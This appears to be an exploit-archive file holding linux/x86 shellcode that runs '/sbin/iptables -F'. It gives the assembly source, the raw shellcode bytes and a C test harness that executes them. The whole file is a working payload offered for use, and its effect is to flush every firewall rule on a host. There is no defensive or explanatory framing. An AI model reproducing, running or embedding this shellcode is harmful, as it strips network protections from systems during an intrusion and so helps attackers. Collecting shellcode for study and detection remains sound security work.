55 lines
No EOL
1.1 KiB
C
55 lines
No EOL
1.1 KiB
C
/**********************************************/
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/* linux/x86 iptables -F Length: 43 bytes */
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/* */
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/* 03/01/2019 */
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/* */
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/* Author: Cameron Brown */
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/* */
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/* Email: pwoerTF@gmail.com */
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/**********************************************/
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global _start
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section .text
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_start:
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jmp short get
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code:
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pop ebx
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cdq
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mov [ebx+0xe], dl
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lea eax, [ebx+0xf]
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push edx
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push eax
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push ebx
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mov ecx, esp
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mov eax, edx
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mov al, 0xb
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int 0x80
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get:
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call code
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file: db "/sbin/iptables#-F"
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--------------------------------------------------
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\xeb\x13\x5b\x99\x88\x53\x0e\x8d\x43\x0f\x52\x50\x53\x89\xe1\x89\xd0\xb0\x0b\xcd\x80\xe8\xe8\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x23\x2d\x46";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |